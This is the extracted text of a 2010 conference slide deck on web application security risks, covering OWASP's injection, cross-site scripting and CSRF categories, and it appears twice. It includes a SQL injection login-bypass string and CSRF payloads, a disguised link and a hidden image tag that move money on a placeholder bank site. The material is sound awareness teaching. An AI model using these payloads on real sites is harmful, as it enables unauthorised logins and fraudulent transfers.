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is the web @ risk ?
              World Internet Project Meeting 2010

                              ISCTE-IUL/SoTA/ADETTI-IUL        Carlos Serrão
    Instituto Superior de Ciências do Trabalho e da Empresa    carlos.serrao@iscte.pt
                           Instituto Universitário de Lisboa   carlos.j.serrao@gmail.com
                      School of Technology and Architecture
                                                  ADETTI-IUL   http://www.carlosserrao.net
                                                               http://blog.carlosserrao.net
                                                               http://www.linkedin.com/in/carlosserrao
Is the Web …
           … at risk?
           … a risk?
           … putting YOU at risk?


WHY?          HOW?
        WHEN?
The Internet…
          … and the WWW,


in the   beg   inning      .
in the beginning...




      Vinton Gray Cerf               Robert Elliot Kahn



                … a.k.a. the “Internet fathers”
The Internet was created…
          … as an ubiquitous

          … decentralized

          … standardized

          … global

          … interconnected

          … digital


… communications channel.
in the beginning...




            (Sir) Tim Berners Lee


          … a.k.a. the “WWW father”
The WWW was created!

A system of
interlinked
hypertext documents
accessed via the
Internet.

Infinite worldwide
knowledge access.
growth
evolving, growing
network
   Small data part on    Large amounts of      Data on the Cloud
   a specific web-site   data on a large
   (or limited number    number of sites       Applications on the
   of web-sites)         Applications on the   Web and Cloud
                         desktop and Web
   Applications on the
                         (more and more)       Data almost
   desktop
                         Part of the data      inexistent on the
   Most data is on the   still on desktop      desktop (still on
   desktop               (but also mobile)     mobile)

   Data processing on    Data processing on    Data processing
   the desktop           the desktop, but      almost inexistent
                         also on the web

 user
evolving, growing
network
   Small data part on    Large amounts of      Data on the Cloud
   a specific web-site   data on a large
   (or limited number    number of sites       Applications on the
   of web-sites)         Applications on the   Web and Cloud
                         desktop and Web
   Applications on the
                         (more and more)       Data almost
   desktop
                         Part of the data      inexistent on the
   Most data is on the   still on desktop      desktop (still on
   desktop               (but also mobile)     mobile)

   Data processing on    Data processing on    Data processing
   the desktop           the desktop, but      almost inexistent
                         also on the web

 user
evolving, growing
network
   Small data part on    Large amounts of      Data on the Cloud
   a specific web-site   data on a large
   (or limited number    number of sites       Applications on the
   of web-sites)         Applications on the   Web and Cloud
                         desktop and Web
   Applications on the
                         (more and more)       Data almost
   desktop
                         Part of the data      inexistent on the
   Most data is on the   still on desktop      desktop (still on
   desktop               (but also mobile)     mobile)

   Data processing on    Data processing on    Data processing
   the desktop           the desktop, but      almost inexistent
                         also on the web

 user
security++
    what do we have today?
       anti-virus

       anti-malware

       anti-spyware

       firewalls

       intrusion    detection systems
       …

       are   they enough?
security++
    YES, but…
       dothey protect the user from the web
       applications?

       cana Web application be compromised to
       hurt legitimate users?

       sure   it can.
security++
    How?
       Do   you trust your favorite web-applications?
         Google
         Gmail

       Doyou trust your favorite social-web
       applications?
         Facebook
         Twitter

       Do you trust your homebanking?
       Do you trust your government web-sites?
security++
                                      The security perimeter has huge
                                      security holes in the application
Application Layer




                                      layer




                                                                                           Legacy Systems




                                                                                                                                         Human Resrcs
                                                                                                            Web Services
                                                                                                                           Directories
                                              Custom Developed




                                                                               Databases
                                              Application Code




                                                                                                                                                        Billing
                    APPLICATION
                    ATTACK




                                               App Server
                                               Web Server
Network Layer




                                               Hardened OS




                                                                    Firewall
                                  Firewall
implications…
security trends




  problem types   typical problems on web apps
the security risks




           http://www.owasp.org/index.php/Top_10
security risks
    considering the three most important
       A1: Injection
       A2: Cross Site Scripting (XSS)

       A5: Cross Site Request Forgery (CSRF)
A1: Injection
                what if?
A1: Injection
                           what if?




  SELECT * FROM users usr
  WHERE usr.username = ‘admin’;--’
  AND usr.password=’bb21158c733229347bd4e681891e213d94c685be’
A1: Injection
                what if?
any input from the
web app user can be
an attack vector
A2: Cross Site Scripting (XSS)
    injecting malicious payload on the web
     app from the end-user side to be
     redirected to other users (victims)
A2: Cross Site Scripting (XSS)
        1   Attacker sets the trap – update my profile

                                                    Application with
                                                    stored XSS
                     Attacker enters a
                                                    vulnerability
                     malicious script into a
                     web page that stores
                     the data on the server




                                                                                     Knowledge Mgmt
                                                                                     Communication
                                                                    Administration




                                                                                     Bus. Functions
                                                                                     E-Commerce
                                                                    Transactions
        2   Victim views page – sees attacker profile




                                                         Accounts
                                                         Finance
                                                          Custom Code


                     Script runs inside
                     victim’s browser with
                     full access to the DOM
                     and cookies


 3   Script silently sends attacker Victim’s session cookie
A5: Cross Site Request Forgery (CSRF)

    an attacker can build its own malicious
     website and initiate request on the user’s
     browser
A5: Cross Site Request Forgery (CSRF)

        Attacker sets the trap on some website on the internet
    1       (or simply via an e-mail)




                                                   Application with CSRF
                      Hidden <img> tag             vulnerability
                      contains attack
                      against vulnerable
                      site




                                                                                 Knowledge Mgmt
                                                                                 Communication
                                                                Administration




                                                                                 Bus. Functions
                                                                Transactions



                                                                                 E-Commerce
                                                     Accounts
                                                     Finance
        While logged into vulnerable site,
    2      victim views attacker site
                                                      Custom Code


                                                          3
                                                     Vulnerable site sees
                   <img> tag loaded by               legitimate request
                   browser – sends GET               from victim and
                   request (including                performs the action
                   credentials) to                   requested
                   vulnerable site
A5: Cross Site Request Forgery (CSRF)

                             Alice                    transfer 100€ to Bob
                                                                              Bob
                                                      through bank.com

                                  POST http://bank.com/transfer.do HTTP/1.1
                                  ...
                                  ...
                                  ...
                                  Content-Length: 19;

                                  acct=BOB&amount=100



         realizes that the same bank.com web application can execute
Pirate   the transfer using a URL with parameters
         GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1

         will try to use Alice to transfer 100.000€ to its own account
         http://bank.com/transfer.do?acct=MARIA&amount=100000

         sends an HTML email to Alice with an URL to click
         <a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my
         Pictures!</a>

         or, sends an HTML email to Alice with a image to hide the attack
         <img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="1"
         height="1" border="0">

Alice    if Alice is authenticated at bank.com with an active session
         the transfer is performed
consequences



               This is serious!!!



               And we are just
               looking at the
               tip of the
               iceberg!
[quick] conclusions
  Extra-care with the web applications you
   trust your data
  Extra-care on the way you handle your
   email
  Always act suspicious upon something

   “strange” on the web
  WebApp developers take care on what you

   do – your code is part of the security
   perimeter

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Is the Web at Risk?

  • 1. is the web @ risk ? World Internet Project Meeting 2010 ISCTE-IUL/SoTA/ADETTI-IUL Carlos Serrão Instituto Superior de Ciências do Trabalho e da Empresa carlos.serrao@iscte.pt Instituto Universitário de Lisboa carlos.j.serrao@gmail.com School of Technology and Architecture ADETTI-IUL http://www.carlosserrao.net http://blog.carlosserrao.net http://www.linkedin.com/in/carlosserrao
  • 2. Is the Web … … at risk? … a risk? … putting YOU at risk? WHY? HOW? WHEN?
  • 3. The Internet… … and the WWW, in the beg inning .
  • 4. in the beginning... Vinton Gray Cerf Robert Elliot Kahn … a.k.a. the “Internet fathers”
  • 5. The Internet was created… … as an ubiquitous … decentralized … standardized … global … interconnected … digital … communications channel.
  • 6. in the beginning... (Sir) Tim Berners Lee … a.k.a. the “WWW father”
  • 7. The WWW was created! A system of interlinked hypertext documents accessed via the Internet. Infinite worldwide knowledge access.
  • 9. evolving, growing network Small data part on Large amounts of Data on the Cloud a specific web-site data on a large (or limited number number of sites Applications on the of web-sites) Applications on the Web and Cloud desktop and Web Applications on the (more and more) Data almost desktop Part of the data inexistent on the Most data is on the still on desktop desktop (still on desktop (but also mobile) mobile) Data processing on Data processing on Data processing the desktop the desktop, but almost inexistent also on the web user
  • 10. evolving, growing network Small data part on Large amounts of Data on the Cloud a specific web-site data on a large (or limited number number of sites Applications on the of web-sites) Applications on the Web and Cloud desktop and Web Applications on the (more and more) Data almost desktop Part of the data inexistent on the Most data is on the still on desktop desktop (still on desktop (but also mobile) mobile) Data processing on Data processing on Data processing the desktop the desktop, but almost inexistent also on the web user
  • 11. evolving, growing network Small data part on Large amounts of Data on the Cloud a specific web-site data on a large (or limited number number of sites Applications on the of web-sites) Applications on the Web and Cloud desktop and Web Applications on the (more and more) Data almost desktop Part of the data inexistent on the Most data is on the still on desktop desktop (still on desktop (but also mobile) mobile) Data processing on Data processing on Data processing the desktop the desktop, but almost inexistent also on the web user
  • 12. security++   what do we have today?   anti-virus   anti-malware   anti-spyware   firewalls   intrusion detection systems   …   are they enough?
  • 13. security++   YES, but…   dothey protect the user from the web applications?   cana Web application be compromised to hurt legitimate users?   sure it can.
  • 14. security++   How?   Do you trust your favorite web-applications?   Google   Gmail   Doyou trust your favorite social-web applications?   Facebook   Twitter   Do you trust your homebanking?   Do you trust your government web-sites?
  • 15. security++ The security perimeter has huge security holes in the application Application Layer layer Legacy Systems Human Resrcs Web Services Directories Custom Developed Databases Application Code Billing APPLICATION ATTACK App Server Web Server Network Layer Hardened OS Firewall Firewall
  • 17. security trends problem types typical problems on web apps
  • 18. the security risks http://www.owasp.org/index.php/Top_10
  • 19. security risks   considering the three most important   A1: Injection   A2: Cross Site Scripting (XSS)   A5: Cross Site Request Forgery (CSRF)
  • 20. A1: Injection what if?
  • 21. A1: Injection what if? SELECT * FROM users usr WHERE usr.username = ‘admin’;--’ AND usr.password=’bb21158c733229347bd4e681891e213d94c685be’
  • 22. A1: Injection what if?
  • 23. any input from the web app user can be an attack vector
  • 24. A2: Cross Site Scripting (XSS)   injecting malicious payload on the web app from the end-user side to be redirected to other users (victims)
  • 25. A2: Cross Site Scripting (XSS) 1 Attacker sets the trap – update my profile Application with stored XSS Attacker enters a vulnerability malicious script into a web page that stores the data on the server Knowledge Mgmt Communication Administration Bus. Functions E-Commerce Transactions 2 Victim views page – sees attacker profile Accounts Finance Custom Code Script runs inside victim’s browser with full access to the DOM and cookies 3 Script silently sends attacker Victim’s session cookie
  • 26. A5: Cross Site Request Forgery (CSRF)   an attacker can build its own malicious website and initiate request on the user’s browser
  • 27. A5: Cross Site Request Forgery (CSRF) Attacker sets the trap on some website on the internet 1 (or simply via an e-mail) Application with CSRF Hidden <img> tag vulnerability contains attack against vulnerable site Knowledge Mgmt Communication Administration Bus. Functions Transactions E-Commerce Accounts Finance While logged into vulnerable site, 2 victim views attacker site Custom Code 3 Vulnerable site sees <img> tag loaded by legitimate request browser – sends GET from victim and request (including performs the action credentials) to requested vulnerable site
  • 28. A5: Cross Site Request Forgery (CSRF) Alice transfer 100€ to Bob Bob through bank.com POST http://bank.com/transfer.do HTTP/1.1 ... ... ... Content-Length: 19; acct=BOB&amount=100 realizes that the same bank.com web application can execute Pirate the transfer using a URL with parameters GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1 will try to use Alice to transfer 100.000€ to its own account http://bank.com/transfer.do?acct=MARIA&amount=100000 sends an HTML email to Alice with an URL to click <a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a> or, sends an HTML email to Alice with a image to hide the attack <img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="1" height="1" border="0"> Alice if Alice is authenticated at bank.com with an active session the transfer is performed
  • 29. consequences This is serious!!! And we are just looking at the tip of the iceberg!
  • 30. [quick] conclusions   Extra-care with the web applications you trust your data   Extra-care on the way you handle your email   Always act suspicious upon something “strange” on the web   WebApp developers take care on what you do – your code is part of the security perimeter